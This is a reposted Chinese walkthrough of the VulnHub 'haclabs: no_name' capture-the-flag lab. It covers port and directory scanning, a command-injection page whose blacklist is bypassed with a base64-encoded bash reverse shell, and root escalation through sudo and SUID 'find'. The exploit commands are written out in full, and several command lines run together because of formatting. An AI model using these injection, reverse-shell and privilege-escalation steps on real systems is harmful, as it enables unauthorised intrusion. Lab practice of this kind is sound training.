Vulnhub hacklabs-no-name

admin 2024年2月1日18:18:50评论11 views字数 2386阅读7分57秒阅读模式
title: Vulnhub-No-Name
categories:
- VulnHub
tags:
- Linux
- nmap
- gobuster
- 命令执行
- 命令执行绕过
- sudo
- find
- suid
cover: /images/Vulnhub.png
abbrlink: e4342a21
date: 2023-03-03 14:33:36

0x01 靶机介绍

  • Name: haclabs: no_name

  • Date release: 15 Feb 2020

  • Author: HacLabs

  • Series: haclabs

  • Web page: https://www.haclabs.org/VulnerableLabs/No_Name

  • DIFFICULTY : Beginner/intermediate

  • Description : This machine has 3 flags. Each flag is present in the Home directory of particular user. Be ready to test your Linux skills.

靶机下载地址:

https://www.vulnhub.com/entry/haclabs-no_name,429

0x02 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.105 -oA nmap_no_name

Vulnhub hacklabs-no-name

扫描结果显示目标开放了80端口

80端口

访问http://192.168.0.105提示假的管理区

Vulnhub hacklabs-no-name

目录扫描

使用 gobuster 进行目录扫描,成功找到目录/admin、文件superadmin.php

gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirb/big.txt -x php

Vulnhub hacklabs-no-name

访问http://192.168.0.105/admin为 CTF 图片

Vulnhub hacklabs-no-name

访问http://192.168.0.105/superadmin.php存在命令输入

Vulnhub hacklabs-no-name

0x03 上线[www-data]

命令执行

主站界面显示Fake Admin Area,翻译为假管理界面,命令执行提示假 ping

Vulnhub hacklabs-no-name

http://192.168.0.105/superadmin.php则是真管理界面,命令执行成功回显

Vulnhub hacklabs-no-name

执行命令读取superadmin.php

127.0.0.1 | cat superadmin.php

Vulnhub hacklabs-no-name

查看网页源代码出现读取文件内容

Vulnhub hacklabs-no-name

";","&&","/","bin","&"," &&","ls","nc","dir","pwd"<?php  if (isset($_POST['submitt'])){  $word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");  $pinged=$_POST['pinger'];  $newStr = str_replace($word, "", $pinged);  if(strcmp($pinged, $newStr) == 0){    $flag=1;}      else{   $flag=0;}}if ($flag==1){$outer=shell_exec("ping -c 3 $pinged");echo "<pre>$outer</pre>";}?>

经分析存在过滤黑名单,过滤规则如下:

";","&&","/","bin","&"," &&","ls","nc","dir","pwd"

命令执行绕过

绕过黑名单非常简单,把命令采用 Base64 编码进行绕过

bash -i >& /dev/tcp/192.168.0.104/9999 0>&1## base64编码后YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0Lzk5OTkgMD4mMQo=

在本地开启监听

nc -nvlp 9999

执行命令

127.0.0.1 |echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0Lzk5OTkgMD4mMQo="|base64 -d|bash

Vulnhub hacklabs-no-name

成功拿到反弹shell

Vulnhub hacklabs-no-name

0x04 权限提升[haclabs]

信息收集

使用 Python 切换 pty 环境

python3 -c 'import pty;pty.spawn("/bin/bash")'

查看当前用户,存在用户rootyashhaclabs

cat /etc/passwd | grep bash

Vulnhub hacklabs-no-name

yash家目录下拿到第一个flag,根据提示haclabs的密码位于隐藏文件中

cd /home/yashcat flag1.txt

Vulnhub hacklabs-no-name

通过 find 命令寻找隐藏文件,成功找到.passwd,读取密码为haclabs1234

find / -name ".*" -printfind / -name ".*" 2>/dev/nullfind / -type f -user yash 2>/dev/null

Vulnhub hacklabs-no-name

通过 su 切换用户 haclabs,成功拿到第二个flag

su haclabscd ~cat flag2.txt

Vulnhub hacklabs-no-name

0x05 权限提升[root]

信息收集

查看当前用户是否拥有管理员权限,成功找到 find 命令在调用 sudo 时无需输入密码

ls -la /home/haclabssudo -l

Vulnhub hacklabs-no-name

sudo提权

利用 find 命令配合 sudo 成功提权为 root

sudo find . -exec /bin/sh ; -quit
在管理员家目录下成功拿到第三个flag
cd /rootcat flag3.txt

Vulnhub hacklabs-no-name

suid提权

查找 suid 特权文件

find /usr -perm -u=s -type f 2>/dev/null

Vulnhub hacklabs-no-name

同样通过 find 命令成功提权,并拿到第三个flag

find . -exec /bin/bash -p ; -quitcat /root/flag3.txt

Vulnhub hacklabs-no-name

0x06 知识星球

Vulnhub hacklabs-no-name

原文始发于微信公众号(狐狸说安全):Vulnhub hacklabs-no-name

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月1日18:18:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub hacklabs-no-namehttp://cn-sec.com/archives/2457349.html

发表评论

匿名网友 填写信息